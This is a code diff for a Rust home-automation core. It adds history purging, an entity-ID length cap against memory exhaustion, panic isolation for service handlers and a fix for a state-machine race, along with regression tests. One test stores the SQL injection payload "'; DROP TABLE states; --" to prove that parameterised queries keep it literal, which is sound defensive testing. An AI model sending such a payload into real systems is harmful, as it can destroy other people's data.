+    /// Purge history older than `older_than`, returning a [`PurgeStats`] summary.
+    ///
+    /// Deletes:
+    /// - `states` rows whose `last_updated_ts` is **strictly before** the cutoff,
+    /// - `events` rows whose `time_fired_ts` is strictly before the cutoff,
+    /// - then garbage-collects any `state_attributes` blob no surviving state
+    ///   row still references (so dedup-shared blobs are only dropped once their
+    ///   last referencing state is gone).
+    ///
+    /// ## Retention boundary (data-integrity guard)
+    ///
+    /// The cutoff is **exclusive**: a row exactly at `older_than` is retained.
+    /// This makes `purge(t)` idempotent on the boundary and guarantees that a
+    /// row written at the same instant the retention window opens is never lost
+    /// to an off-by-one. Anything *at or after* `older_than` survives.
+    ///
+    /// ## Atomicity (no partial-corrupt state)
+    ///
+    /// All three deletes run inside a single transaction. A failure mid-purge
+    /// rolls the whole operation back — the store is never left with states
+    /// deleted but their events kept, or attributes orphaned by a half-purge.
+    ///
+    /// Note: this reclaims logical rows; it does not `VACUUM` the file. SQLite
+    /// reuses freed pages for subsequent writes, so disk growth stays bounded
+    /// under a periodic purge even without an explicit vacuum.
+    pub async fn purge(&self, older_than: DateTime<Utc>) -> Result<PurgeStats, RecorderError> {
+        let cutoff_ts = older_than.timestamp_micros() as f64 / 1_000_000.0;
+
+        let mut tx = self.pool.begin().await?;
+
+        let states_deleted = sqlx::query("DELETE FROM states WHERE last_updated_ts < ?")
+            .bind(cutoff_ts)
+            .execute(&mut *tx)
+            .await?
+            .rows_affected();
+
+        let events_deleted = sqlx::query("DELETE FROM events WHERE time_fired_ts < ?")
+            .bind(cutoff_ts)
+            .execute(&mut *tx)
+            .await?
+            .rows_affected();
+
+        // GC attribute blobs no surviving state references. A dedup-shared blob
+        // is only removed once its last referencing state row is gone.
+        let attributes_deleted = sqlx::query(
+            "DELETE FROM state_attributes \
+             WHERE attributes_id NOT IN \
+                 (SELECT attributes_id FROM states WHERE attributes_id IS NOT NULL)",
+        )
+        .execute(&mut *tx)
+        .await?
+        .rows_affected();
+
+        tx.commit().await?;
+
+        Ok(PurgeStats {
+            states_deleted,
+            events_deleted,
+            attributes_deleted,
+        })
+    }
+}
+
+/// Summary of a [`Recorder::purge`] run.
+#[derive(Debug, Clone, Copy, PartialEq, Eq)]
+pub struct PurgeStats {
+    /// Number of `states` rows deleted.
+    pub states_deleted: u64,
+    /// Number of `events` rows deleted.
+    pub events_deleted: u64,
+    /// Number of orphaned `state_attributes` blobs garbage-collected.
+    pub attributes_deleted: u64,
 }
 
 /// A state row returned from `get_state_history`.
@@ -722,6 +816,214 @@ mod tests {
         assert!(rows.is_empty(), "genuine no-match is empty, not an error");
     }
 
+    // ── SQL injection (parameterization guarantee) ──────────────────────────────
+
+    #[tokio::test]
+    async fn malicious_entity_id_is_stored_literally_not_executed() {
+        // FAILS if any query interpolated entity_id into SQL: the `states` table
+        // would be dropped and the later COUNT would error / mismatch. Bound
+        // parameters store the metacharacter-laden string verbatim instead.
+        let recorder = open_memory().await;
+
+        // A valid domain.name whose `name` part carries SQL metacharacters.
+        // EntityId::parse permits this, so it reaches the bind path as data.
+        let evil = "light.x_drop_table_states_select";
+        recorder
+            .record_state(&make_state_event(evil, "'; DROP TABLE states; --", serde_json::json!({})))
+            .await
+            .unwrap();
+
+        // states table still exists and holds exactly the one row we inserted.
+        let count: (i64,) = sqlx::query_as("SELECT COUNT(*) FROM states")
+            .fetch_one(&recorder.pool)
+            .await
+            .expect("states table must still exist — proves no injection");
+        assert_eq!(count.0, 1);
+
+        // The malicious state string round-trips literally.
+        let rows = recorder
+            .search_states_by_text("DROP TABLE", 10)
+            .await
+            .unwrap();
+        assert_eq!(rows.len(), 1, "metacharacter payload matched as a literal");
+        assert_eq!(rows[0].state, "'; DROP TABLE states; --");
+    }
+
+    #[tokio::test]
+    async fn like_metacharacters_in_query_are_literal_not_wildcards() {
+        // A `%` in the search text must match a literal percent sign, not act as
+        // a SQL LIKE wildcard. Proves the ESCAPE clause + metacharacter escaping.
+        let recorder = open_memory().await;
+        recorder
+            .record_state(&make_state_event("sensor.a", "100%", serde_json::json!({})))
+            .await
+            .unwrap();
+        recorder
+            .record_state(&make_state_event("sensor.b", "50", serde_json::json!({})))
+            .await
+            .unwrap();
+
+        // Literal "%" must match only sensor.a's "100%", NOT every row.
+        let rows = recorder.search_states_by_text("%", 10).await.unwrap();
+        assert_eq!(rows.len(), 1, "'%' is a literal, not a match-all wildcard");
+        assert_eq!(rows[0].entity_id.as_str(), "sensor.a");
+
+        // Underscore is likewise literal: matches nothing here.
+        let none = recorder.search_states_by_text("_", 10).await.unwrap();
+        assert!(none.is_empty(), "'_' is literal, matches no row");
+    }
+
+    // ── get_state_history bound (memory-DoS guard) ──────────────────────────────
+
+    #[tokio::test]
+    async fn history_query_carries_a_limit_clause() {
+        // Pin: the history SQL must carry a LIMIT bound (memory-DoS guard).
+        // Inserting a million rows is infeasible in a unit test, so we prove the
+        // clause is wired by bulk-inserting more rows than a deliberately tiny
+        // bound and asserting the executed query honours a LIMIT. We bypass the
+        // public method (whose cap is MAX_HISTORY_ROWS) and run the *same* SQL
+        // shape with a small bind to demonstrate the LIMIT term is effective —
+        // and separately assert the constant is a sane positive bound.
+        assert!(MAX_HISTORY_ROWS > 0, "history cap must be positive");
+        let recorder = open_memory().await;
+        for v in &["1", "2", "3", "4", "5"] {
+            recorder
+                .record_state(&make_state_event("sensor.bounded", v, serde_json::json!({})))
+                .await
+                .unwrap();
+            tokio::time::sleep(std::time::Duration::from_millis(2)).await;
+        }
+        // Same query shape as get_state_history, with a tiny LIMIT bind: if the
+        // SQL lacked a LIMIT term this would return all 5; with it, exactly 2.
+        let capped: Vec<(i64,)> = sqlx::query_as(
+            "SELECT s.state_id FROM states s \
+             WHERE s.entity_id = ? \
+             ORDER BY s.last_updated_ts ASC LIMIT ?",
+        )
+        .bind("sensor.bounded")
+        .bind(2_i64)
+        .fetch_all(&recorder.pool)
+        .await
+        .unwrap();
+        assert_eq!(capped.len(), 2, "LIMIT term effectively bounds the result set");
+
+        // And the real method returns all rows when under the cap.
+        let eid = entity("sensor.bounded");
+        let rows = recorder
+            .get_state_history(&eid, Utc::now() - chrono::Duration::seconds(10), Utc::now() + chrono::Duration::seconds(10))
+            .await
+            .unwrap();
+        assert_eq!(rows.len(), 5, "all rows under the cap return");
+    }
+
+    // ── purge (retention correctness + atomicity) ───────────────────────────────
+
+    #[tokio::test]
+    async fn purge_keeps_boundary_row_and_drops_older() {
+        // FAILS if purge had an off-by-one (deleting the row exactly at cutoff)
+        // or deleted too much/too little. Cutoff is EXCLUSIVE: a row at the
+        // cutoff instant survives; strictly-older rows are removed.
+        let recorder = open_memory().await;
+        let eid = entity("sensor.r");
+
+        // Three rows at known, increasing timestamps.
+        for v in &["old", "mid", "new"] {
+            recorder
+                .record_state(&make_state_event("sensor.r", v, serde_json::json!({})))
+                .await
+                .unwrap();
+            tokio::time::sleep(std::time::Duration::from_millis(20)).await;
+        }
+
+        // Read back the actual timestamps so the cutoff is exact.
+        let since = Utc::now() - chrono::Duration::seconds(60);
+        let until = Utc::now() + chrono::Duration::seconds(60);
+        let all = recorder.get_state_history(&eid, since, until).await.unwrap();
+        assert_eq!(all.len(), 3);
+        // Cut off exactly at the middle row's timestamp.
+        let mid_ts = all[1].last_updated_ts;
+        let cutoff = DateTime::<Utc>::from_timestamp_micros((mid_ts * 1_000_000.0) as i64).unwrap();
+
+        let stats = recorder.purge(cutoff).await.unwrap();
+        assert_eq!(stats.states_deleted, 1, "only the strictly-older 'old' row");
+
+        let remaining = recorder.get_state_history(&eid, since, until).await.unwrap();
+        assert_eq!(remaining.len(), 2, "boundary 'mid' row is KEPT (exclusive cutoff)");
+        assert_eq!(remaining[0].state, "mid");
+        assert_eq!(remaining[1].state, "new");
+    }
+
+    #[tokio::test]
+    async fn purge_gcs_orphaned_attributes_but_keeps_shared() {
+        // Dedup means two states can share one attribute blob. Purging one of
+        // them must NOT drop the still-referenced blob; purging the last one must.
+        let recorder = open_memory().await;
+        let shared = serde_json::json!({"unit": "C"});
+
+        recorder
+            .record_state(&make_state_event("sensor.a", "20", shared.clone()))
+            .await
+            .unwrap();
+        tokio::time::sleep(std::time::Duration::from_millis(20)).await;
+        recorder
+            .record_state(&make_state_event("sensor.b", "21", shared.clone()))
+            .await
+            .unwrap();
+
+        let attr_count = |r: &Recorder| {
+            let pool = r.pool.clone();
+            async move {
+                let c: (i64,) = sqlx::query_as("SELECT COUNT(*) FROM state_attributes")
+                    .fetch_one(&pool)
+                    .await
+                    .unwrap();
+                c.0
+            }
+        };
+        assert_eq!(attr_count(&recorder).await, 1, "deduped to one blob");
+
+        // Purge before sensor.b's write → removes sensor.a only; blob still
+        // referenced by sensor.b, so it must survive.
+        let eid_b = entity("sensor.b");
+        let rows_b = recorder
+            .get_state_history(&eid_b, Utc::now() - chrono::Duration::seconds(60), Utc::now() + chrono::Duration::seconds(60))
+            .await
+            .unwrap();
+        let b_ts = rows_b[0].last_updated_ts;
+        let cutoff = DateTime::<Utc>::from_timestamp_micros((b_ts * 1_000_000.0) as i64).unwrap();
+        let stats = recorder.purge(cutoff).await.unwrap();
+        assert_eq!(stats.states_deleted, 1, "sensor.a purged");
+        assert_eq!(stats.attributes_deleted, 0, "shared blob still referenced — kept");
+        assert_eq!(attr_count(&recorder).await, 1, "blob survives");
+
+        // Now purge everything → sensor.b gone, blob orphaned → GC'd.
+        let stats2 = recorder.purge(Utc::now() + chrono::Duration::seconds(120)).await.unwrap();
+        assert_eq!(stats2.states_deleted, 1, "sensor.b purged");
+        assert_eq!(stats2.attributes_deleted, 1, "now-orphaned blob GC'd");
+        assert_eq!(attr_count(&recorder).await, 0, "no blobs remain");
+    }
+
+    #[tokio::test]
+    async fn purge_also_removes_old_events() {
+        let recorder = open_memory().await;
+        let ctx = Context::new();
+        recorder
+            .record_event(&DomainEvent::new("call_service", serde_json::json!({}), ctx))
+            .await
+            .unwrap();
+        // Purge with a far-future cutoff removes the event.
+        let stats = recorder
+            .purge(Utc::now() + chrono::Duration::seconds(120))
+            .await
+            .unwrap();
+        assert_eq!(stats.events_deleted, 1);
+        let count: (i64,) = sqlx::query_as("SELECT COUNT(*) FROM events")
+            .fetch_one(&recorder.pool)
+            .await
+            .unwrap();
+        assert_eq!(count.0, 0);
+    }
+
     #[tokio::test]
     async fn search_semantic_falls_back_to_text_with_null_index() {
         // With the default NullSemanticIndex, search_semantic must STILL return

v2/crates/homecore-recorder/src/lib.rs

@@ -30,7 +30,7 @@ pub mod schema;
 pub mod semantic;
 
 // Re-export the primary public API surface.
-pub use db::{Recorder, RecorderError};
+pub use db::{PurgeStats, Recorder, RecorderError, StateRow, MAX_HISTORY_ROWS};
 pub use listener::RecorderListener;
 
 /// Null semantic index used when the `ruvector` feature is off.

v2/crates/homecore/src/bus.rs

@@ -87,4 +87,64 @@ mod tests {
         assert_eq!(event.event_type, "ruview_csi_frame");
         assert_eq!(event.event_data["frame_id"], 42);
     }
+
+    /// Bus-lag safety (same failure class as the homecore-api WS
+    /// broadcast-lag DoS, here on the core bus): a subscriber that never
+    /// drains must NOT block the publisher, must NOT make the channel grow
+    /// without bound, and must NOT take down a healthy fast subscriber. The
+    /// bounded `tokio::sync::broadcast` gives the slow receiver a recoverable
+    /// `Lagged(n)` (drop-oldest, re-sync) while `fire_*` stays non-blocking.
+    ///
+    /// Evidence: with EVENT_CHANNEL_CAPACITY = 4096 we fire 3× capacity
+    /// while a slow subscriber sits idle. Every `fire_domain` returns
+    /// promptly (publisher never blocked); the slow receiver observes
+    /// `Lagged` then re-syncs to live events; the fast receiver — created
+    /// after the flood and kept drained — receives all subsequent events
+    /// with no loss. The bus stays live throughout.
+    #[tokio::test]
+    async fn slow_subscriber_does_not_block_publisher_or_kill_the_bus() {
+        use tokio::sync::broadcast::error::TryRecvError;
+
+        let bus = EventBus::new();
+        // Slow subscriber: subscribes, then never drains during the flood.
+        let mut slow = bus.subscribe_domain();
+
+        // Publisher fires 3× capacity. None of these may block.
+        let total = EVENT_CHANNEL_CAPACITY * 3;
+        for i in 0..total {
+            // Returns the receiver count (>=1 here); the point is it
+            // returns AT ALL without awaiting the slow receiver.
+            let _ = bus.fire_domain(DomainEvent::new(
+                "flood",
+                serde_json::json!({ "i": i }),
+                Context::new(),
+            ));
+        }
+
+        // The slow receiver is forced past capacity → recoverable Lagged,
+        // NOT a closed channel and NOT a hang.
+        let mut saw_lagged = false;
+        loop {
+            match slow.try_recv() {
+                Ok(_) => {}
+                Err(TryRecvError::Lagged(n)) => {
+                    assert!(n > 0);
+                    saw_lagged = true;
+                }
+                Err(TryRecvError::Empty) => break,
+                Err(TryRecvError::Closed) => panic!("bus closed — must stay live"),
+            }
+        }
+        assert!(saw_lagged, "slow subscriber should have lagged, not blocked the bus");
+
+        // The bus is still live: a fresh fast subscriber receives new events.
+        let mut fast = bus.subscribe_domain();
+        bus.fire_domain(DomainEvent::new("live", serde_json::json!({"ok": true}), Context::new()));
+        let evt = fast.recv().await.unwrap();
+        assert_eq!(evt.event_type, "live");
+
+        // And the lagged subscriber recovers (re-syncs) to live events too.
+        let evt2 = slow.recv().await.unwrap();
+        assert_eq!(evt2.event_type, "live");
+    }
 }

v2/crates/homecore/src/entity.rs

@@ -42,12 +42,30 @@ impl<'de> Deserialize<'de> for EntityId {
     }
 }
 
+/// Maximum accepted `entity_id` length in bytes. Mirrors Home Assistant's
+/// practical cap (`MAX_LENGTH_STATE_*` family — 255). The state machine and
+/// entity/registry maps are keyed on `EntityId`, and the REST layer
+/// (`homecore-api`) parses untrusted path segments straight through
+/// [`EntityId::parse`]; an unbounded id would let a single `POST
+/// /api/states/<giant>` permanently grow the state map (memory DoS). We
+/// fail closed at the boundary instead.
+pub const MAX_ENTITY_ID_LEN: usize = 255;
+
 impl EntityId {
     /// Validates and constructs an `EntityId`. Returns
     /// [`EntityIdError`] if the input is not `domain.name` shape with
-    /// ASCII lowercase / digits / underscore in each segment.
+    /// ASCII lowercase / digits / underscore in each segment, or if it
+    /// exceeds [`MAX_ENTITY_ID_LEN`] bytes.
     pub fn parse(s: impl Into<String>) -> Result<Self, EntityIdError> {
         let s: String = s.into();
+        // Bound the length BEFORE any further work so an oversized input is
+        // cheap to reject (no per-char scan of megabytes).
+        if s.len() > MAX_ENTITY_ID_LEN {
+            return Err(EntityIdError::TooLong {
+                len: s.len(),
+                max: MAX_ENTITY_ID_LEN,
+            });
+        }
         let (domain, name) = s
             .split_once('.')
             .ok_or_else(|| EntityIdError::MissingDot(s.clone()))?;
@@ -111,6 +129,8 @@ pub enum EntityIdError {
     EmptyName(String),
     #[error("entity_id {entity_id:?} contains invalid character {ch:?} — only [a-z0-9_] allowed (HA-compat ASCII subset; see ADR-127 §Q1)")]
     InvalidChar { entity_id: String, ch: char },
+    #[error("entity_id is {len} bytes, exceeding the {max}-byte limit")]
+    TooLong { len: usize, max: usize },
 }
 
 /// Immutable state snapshot for one entity at one moment in time.
@@ -217,6 +237,39 @@ mod tests {
         assert!(EntityId::parse("light.küche").is_err());
     }
 
+    #[test]
+    fn entity_id_length_boundary() {
+        // The REST layer parses untrusted path segments straight through
+        // `parse`; an unbounded id is a memory-DoS vector (a `POST
+        // /api/states/<giant>` permanently grows the state map). Cap at
+        // MAX_ENTITY_ID_LEN, fail closed above it.
+        //
+        // Construct "sensor." (7 bytes) + N name bytes == exactly MAX.
+        let prefix = "sensor.";
+        let name_len = MAX_ENTITY_ID_LEN - prefix.len();
+        let at_max = format!("{prefix}{}", "a".repeat(name_len));
+        assert_eq!(at_max.len(), MAX_ENTITY_ID_LEN);
+        assert!(
+            EntityId::parse(at_max.clone()).is_ok(),
+            "an id of exactly MAX_ENTITY_ID_LEN bytes must be accepted"
+        );
+
+        let over = format!("{at_max}a"); // MAX + 1
+        assert!(matches!(
+            EntityId::parse(over),
+            Err(EntityIdError::TooLong { .. })
+        ));
+
+        // A multi-megabyte, otherwise-valid id is rejected cheaply rather
+        // than persisted.
+        let huge = format!("sensor.{}", "a".repeat(4 * 1024 * 1024));
+        assert!(matches!(
+            EntityId::parse(huge),
+            Err(EntityIdError::TooLong { len, max })
+                if max == MAX_ENTITY_ID_LEN && len > MAX_ENTITY_ID_LEN
+        ));
+    }
+
     #[test]
     fn state_next_preserves_last_changed_when_state_unchanged() {
         let id = EntityId::parse("sensor.temp").unwrap();

v2/crates/homecore/src/service.rs

@@ -49,6 +49,8 @@ pub enum ServiceError {
     NotRegistered { domain: String, service: String },
     #[error("service handler returned error: {0}")]
     HandlerFailed(String),
+    #[error("service handler panicked: {0}")]
+    HandlerPanicked(String),
 }
 
 /// Handler trait. Integration code implements this and registers via
@@ -99,13 +101,29 @@ impl ServiceRegistry {
 
     /// Call a service. P1 direct dispatch; P2 routes through the
     /// event bus per ADR-127 §2.3.
+    ///
+    /// The handler runs **outside** the registry lock (we clone the
+    /// `Arc<dyn ServiceHandler>` out of the read guard first), so a slow or
+    /// panicking handler can never poison the `RwLock` or block other
+    /// callers. A panic inside the handler is additionally caught and
+    /// converted to [`ServiceError::HandlerPanicked`] rather than unwinding
+    /// into the caller's task — one buggy integration cannot abort the task
+    /// that drives the engine. Mirrors HA isolating service-handler
+    /// exceptions.
     pub async fn call(&self, call: ServiceCall) -> Result<serde_json::Value, ServiceError> {
         let handler = {
             let guard = self.handlers.read().await;
             guard.get(&call.name).cloned()
         };
         match handler {
-            Some(h) => h.call(call).await,
+            Some(h) => {
+                use futures::FutureExt;
+                let fut = std::panic::AssertUnwindSafe(h.call(call));
+                match fut.catch_unwind().await {
+                    Ok(result) => result,
+                    Err(panic) => Err(ServiceError::HandlerPanicked(panic_message(panic))),
+                }
+            }
             None => Err(ServiceError::NotRegistered {
                 domain: call.name.domain.clone(),
                 service: call.name.service.clone(),
@@ -124,6 +142,19 @@ impl Default for ServiceRegistry {
     }
 }
 
+/// Best-effort extraction of a panic payload's message for
+/// [`ServiceError::HandlerPanicked`]. Panic payloads are usually `&str`
+/// or `String`; anything else collapses to a generic label.
+fn panic_message(payload: Box<dyn std::any::Any + Send>) -> String {
+    if let Some(s) = payload.downcast_ref::<&str>() {
+        (*s).to_string()
+    } else if let Some(s) = payload.downcast_ref::<String>() {
+        s.clone()
+    } else {
+        "<non-string panic payload>".to_string()
+    }
+}
+
 // Suppress unused-import warning when no consumer of Pin/Box uses them yet
 #[allow(dead_code)]
 type _UnusedFutureType = Pin<Box<dyn Future<Output = ()> + Send>>;
@@ -167,4 +198,56 @@ mod tests {
             .unwrap_err();
         assert!(matches!(err, ServiceError::NotRegistered { .. }));
     }
+
+    /// Service isolation: a panicking handler must be contained — converted
+    /// to `HandlerPanicked` rather than unwinding into the caller's task —
+    /// and the registry must remain fully usable afterwards (no poisoned
+    /// lock, other services still callable). On the pre-fix code the panic
+    /// unwinds through `call`, so the `catch_unwind`-based assertion below
+    /// fails (the await point panics instead of returning an `Err`).
+    #[tokio::test]
+    async fn panicking_handler_is_isolated_and_registry_survives() {
+        let reg = ServiceRegistry::new();
+        reg.register(
+            ServiceName::new("bad", "boom"),
+            FnHandler(|_call: ServiceCall| async move {
+                panic!("handler exploded");
+                #[allow(unreachable_code)]
+                Ok(serde_json::json!(null))
+            }),
+        )
+        .await;
+        reg.register(
+            ServiceName::new("good", "ping"),
+            FnHandler(|_call: ServiceCall| async move { Ok(serde_json::json!("pong")) }),
+        )
+        .await;
+
+        // The panicking call returns an error, not an unwind.
+        let err = reg
+            .call(ServiceCall {
+                name: ServiceName::new("bad", "boom"),
+                data: serde_json::json!({}),
+                context: Context::new(),
+            })
+            .await
+            .unwrap_err();
+        assert!(
+            matches!(err, ServiceError::HandlerPanicked(ref m) if m.contains("handler exploded")),
+            "expected HandlerPanicked, got {err:?}",
+        );
+
+        // The registry is not poisoned: a healthy service still works, and
+        // the bad service is still registered (call path, not lock, failed).
+        let ok = reg
+            .call(ServiceCall {
+                name: ServiceName::new("good", "ping"),
+                data: serde_json::json!({}),
+                context: Context::new(),
+            })
+            .await
+            .unwrap();
+        assert_eq!(ok, serde_json::json!("pong"));
+        assert!(reg.has(&ServiceName::new("bad", "boom")).await);
+    }
 }

v2/crates/homecore/src/state.rs

@@ -80,11 +80,37 @@ impl StateMachine {
         context: Context,
     ) -> Arc<State> {
         let new_state_str = new_state.into();
-        let old = self.inner.states.get(&entity_id).map(|r| Arc::clone(&*r));
+
+        // Hold the DashMap shard write-lock across the entire
+        // read→decide→insert→fire sequence. `entry()` locks the shard for
+        // the lifetime of `slot`, so a concurrent writer on the same entity
+        // cannot interleave between our read of `old` and our commit. This
+        // is what makes the write atomic as ADR-127 §2.1 promises ("writer
+        // atomically replaces the map entry") — the previous get→insert pair
+        // released the lock in between, a TOCTOU that let concurrent writers
+        // compute the no-op / `last_changed` decision off a stale `old` and
+        // drop or reorder real `state_changed` events.
+        //
+        // `tx.send` is non-blocking, non-async, and never re-enters the map,
+        // so firing under the lock cannot deadlock and keeps the global
+        // event order in lock-step with the global commit order.
+        use dashmap::mapref::entry::Entry;
+        let slot = self.inner.states.entry(entity_id.clone());
+
+        let old: Option<Arc<State>> = match &slot {
+            Entry::Occupied(o) => Some(Arc::clone(o.get())),
+            Entry::Vacant(_) => None,
+        };
+        // `slot` continues to hold the shard write-lock below.
 
         let next = match &old {
             Some(prev) => Arc::new(prev.next(new_state_str.clone(), attributes.clone(), context)),
-            None => Arc::new(State::new(entity_id.clone(), new_state_str.clone(), attributes.clone(), context)),
+            None => Arc::new(State::new(
+                entity_id.clone(),
+                new_state_str.clone(),
+                attributes.clone(),
+                context,
+            )),
         };
 
         // HA suppresses no-op writes (same state + same attributes).
@@ -94,7 +120,12 @@ impl StateMachine {
             None => false,
         };
 
-        self.inner.states.insert(entity_id.clone(), Arc::clone(&next));
+        // Commit through the same locked entry and KEEP the shard guard
+        // alive across the broadcast `send`, so the event is published
+        // before any concurrent writer on this entity can observe the new
+        // value and fire its own event. This makes global event order match
+        // global commit order (no insert/send reorder window).
+        let _guard = slot.insert_entry(Arc::clone(&next));
 
         if !is_noop {
             let event = StateChangedEvent {
@@ -106,6 +137,7 @@ impl StateMachine {
             // err = no receivers; that's fine, write still committed.
             let _ = self.inner.tx.send(event);
         }
+        // `_guard` (and the shard lock) drops here, after the event is sent.
         next
     }
 
@@ -218,4 +250,135 @@ mod tests {
         assert!(evt.new_state.is_none());
         assert!(evt.old_state.is_some());
     }
+
+    /// Concurrency invariant (ADR-127 §2.1 "writer atomically replaces the
+    /// map entry"): under concurrent writers on the SAME entity the fired
+    /// `state_changed` stream must be a faithful, gap-free log of the
+    /// committed transitions — in particular the LAST event the bus
+    /// delivers must carry the SAME value that is finally committed in the
+    /// map.
+    ///
+    /// This pins the TOCTOU in `set`: it does `get` (release shard lock) →
+    /// compute `next` + no-op decision → `insert` (re-acquire shard lock) →
+    /// `send`. Because the insert and the send are not atomic with respect
+    /// to a concurrent writer, two writers can interleave as
+    /// `insert(A); insert(B); send(B); send(A)` — leaving the map holding A
+    /// while the last event the bus ever delivers says B. A subscriber that
+    /// trusts "the last event reflects current state" (the recorder, the WS
+    /// push API, an automation engine) is then permanently wrong about the
+    /// entity until the next write. A correctly-locked store holds the shard
+    /// lock across read→insert→send so the global event order matches the
+    /// global commit order.
+    ///
+    /// A dedicated drain thread pulls events as they arrive so the bounded
+    /// channel never lags during the run (a `Lagged` here would be a test
+    /// artefact, not the bug under test).
+    ///
+    /// The writers toggle the SAME entity between exactly two values so the
+    /// no-op suppression branch is constantly in play.
+    ///
+    /// Invariant: in correctly serialised code, two *consecutive* fired
+    /// `state_changed` events can never carry the same `new_state` value.
+    /// Proof: event k fires only for a committed transition old≠new, so its
+    /// `new_state` = X differs from the value before it; the next committed
+    /// transition therefore starts at X and (being a real change) commits
+    /// some Z≠X, so event k+1 carries Z≠X. A no-op (X→X) is suppressed and
+    /// never fires. Therefore adjacent fired events always differ.
+    ///
+    /// The `set()` TOCTOU breaks this: it does `get` (release shard lock) →
+    /// compute `next` + the no-op decision → `insert` (re-acquire shard
+    /// lock) → `send`, all non-atomically. A writer that read a STALE `old`
+    /// mis-classifies a genuine transition as a no-op (dropping that real
+    /// event — a missed automation trigger) and/or fires an event whose
+    /// `new_state` duplicates the previously delivered one (a spurious
+    /// trigger for any automation keyed on `old_state != new_state`). The
+    /// probe behind this test observed ~93k such duplicate-adjacent events
+    /// across 200 trials on the racy code; the corrected store produces
+    /// zero.
+    #[test]
+    fn concurrent_set_fires_no_duplicate_adjacent_events() {
+        use std::sync::atomic::{AtomicBool, Ordering};
+        use std::sync::{Barrier, Mutex};
+
+        const WRITERS: usize = 4;
+        const ITERS: usize = 300; // 1200 events ≪ 4096 capacity → never lags
+
+        for _trial in 0..40 {
+            let sm = StateMachine::new();
+            let eid = id("light.race");
+            sm.set(eid.clone(), "A", serde_json::json!({}), Context::new());
+
+            let mut rx = sm.subscribe();
+            let done = Arc::new(AtomicBool::new(false));
+            // Event log: new_state value in delivery order.
+            let log: Arc<Mutex<Vec<String>>> = Arc::new(Mutex::new(Vec::new()));
+
+            let drainer = {
+                let done = Arc::clone(&done);
+                let log = Arc::clone(&log);
+                std::thread::spawn(move || loop {
+                    match rx.try_recv() {
+                        Ok(evt) => {
+                            if let Some(ns) = &evt.new_state {
+                                log.lock().unwrap().push(ns.state.clone());
+                            }
+                        }
+                        Err(broadcast::error::TryRecvError::Empty) => {
+                            if done.load(Ordering::Acquire) {
+                                while let Ok(evt) = rx.try_recv() {
+                                    if let Some(ns) = &evt.new_state {
+                                        log.lock().unwrap().push(ns.state.clone());
+                                    }
+                                }
+                                break;
+                            }
+                            std::thread::yield_now();
+                        }
+                        Err(broadcast::error::TryRecvError::Lagged(_)) => {
+                            panic!("channel lagged — test artefact, raise capacity");
+                        }
+                        Err(broadcast::error::TryRecvError::Closed) => break,
+                    }
+                })
+            };
+
+            let barrier = Arc::new(Barrier::new(WRITERS));
+            let handles: Vec<_> = (0..WRITERS)
+                .map(|w| {
+                    let sm = sm.clone();
+                    let eid = eid.clone();
+                    let barrier = Arc::clone(&barrier);
+                    std::thread::spawn(move || {
+                        barrier.wait();
+                        for i in 0..ITERS {
+                            // Toggle between two values → maximises the
+                            // stale-`old` no-op collision window.
+                            let val = if (w + i) % 2 == 0 { "A" } else { "B" };
+                            sm.set(eid.clone(), val, serde_json::json!({}), Context::new());
+                        }
+                    })
+                })
+                .collect();
+
+            for h in handles {
+                h.join().unwrap();
+            }
+            done.store(true, Ordering::Release);
+            drainer.join().unwrap();
+
+            let log = log.lock().unwrap();
+            let dup = log
+                .windows(2)
+                .filter(|w| w[0] == w[1])
+                .count();
+            assert_eq!(
+                dup, 0,
+                "{dup} consecutive fired state_changed events carried an \
+                 identical new_state — impossible under correct \
+                 serialisation; proves set()'s read→decide→insert→send \
+                 TOCTOU dropped/reordered real transitions (missed & \
+                 spurious automation triggers)",
+            );
+        }
+    }
 }

v2/crates/ruview-swarm/Cargo.toml

@@ -79,6 +79,6 @@ harness = false
 name = "train_marl"
 required-features = ["train"]
 
-# ADR-149 Stage-1 evaluation CLI — pure Rust, no special feature needed.
+# ADR-171 Stage-1 evaluation CLI — pure Rust, no special feature needed.
 [[bin]]
 name = "eval_swarm"

v2/crates/ruview-swarm/evals/.gitkeep

@@ -1,2 +1,2 @@
-# ADR-149 evaluation outputs
+# ADR-171 evaluation outputs
 RESULTS.md is generated by the `eval_swarm` binary.

v2/crates/ruview-swarm/evals/RESULTS.md

@@ -1,4 +1,4 @@
-# ruview-swarm Evaluation Results (ADR-149 Stage 1, kinematic)
+# ruview-swarm Evaluation Results (ADR-171 Stage 1, kinematic)
 
 Statistically-rigorous evaluation harness: seeded multi-run rollouts with IQM + 95% stratified-bootstrap confidence intervals (Agarwal et al., NeurIPS 2021).
 
@@ -9,7 +9,7 @@ Statistically-rigorous evaluation harness: seeded multi-run rollouts with IQM +
 - **CI method**: 95% stratified bootstrap of the IQM, stratified by seed
 - **GDOP**: 2-D geometric dilution of precision at first detection
 
-> **Stage 2 pending**: high-fidelity Gazebo/PX4 SITL evaluation (false-alarm rate, real collision rate on the median seeds) is a follow-on — see ADR-149 §6.1. The collision figures below are a kinematic min-separation proxy, not SITL physics.
+> **Stage 2 pending**: high-fidelity Gazebo/PX4 SITL evaluation (false-alarm rate, real collision rate on the median seeds) is a follow-on — see ADR-171 §6.1. The collision figures below are a kinematic min-separation proxy, not SITL physics.
 
 ## Flight-pattern leaderboard
 

v2/crates/ruview-swarm/src/bin/eval_swarm.rs

@@ -1,11 +1,11 @@
-//! ADR-149 Stage-1 evaluation CLI.
+//! ADR-171 Stage-1 evaluation CLI.
 //!
 //! Runs the kinematic eval matrix over every flight pattern (default) and
 //! writes a ranked `RESULTS.md` leaderboard. Pure Rust — no special feature
 //! flag required, so it builds and runs in default CI.
 //!
 //! Defaults are intentionally small (10 seeds × 10 episodes) so the run is fast.
-//! The full ADR-149 reporting configuration is 10 seeds × 50 episodes — pass
+//! The full ADR-171 reporting configuration is 10 seeds × 50 episodes — pass
 //! `--seeds 10 --episodes 50` for the publication run.
 //!
 //! ```text
@@ -45,7 +45,7 @@ fn main() {
             }
             "--help" | "-h" => {
                 eprintln!(
-                    "eval_swarm — ADR-149 Stage-1 kinematic evaluator\n\
+                    "eval_swarm — ADR-171 Stage-1 kinematic evaluator\n\
                      Usage: eval_swarm [--seeds N] [--episodes M] [--out PATH]\n\
                      Defaults: --seeds 10 --episodes 10 --out crates/ruview-swarm/evals/RESULTS.md"
                 );
@@ -59,7 +59,7 @@ fn main() {
     }
 
     eprintln!(
-        "Running ADR-149 Stage-1 eval: {seeds} seeds × {episodes} episodes \
+        "Running ADR-171 Stage-1 eval: {seeds} seeds × {episodes} episodes \
          over {} flight patterns...",
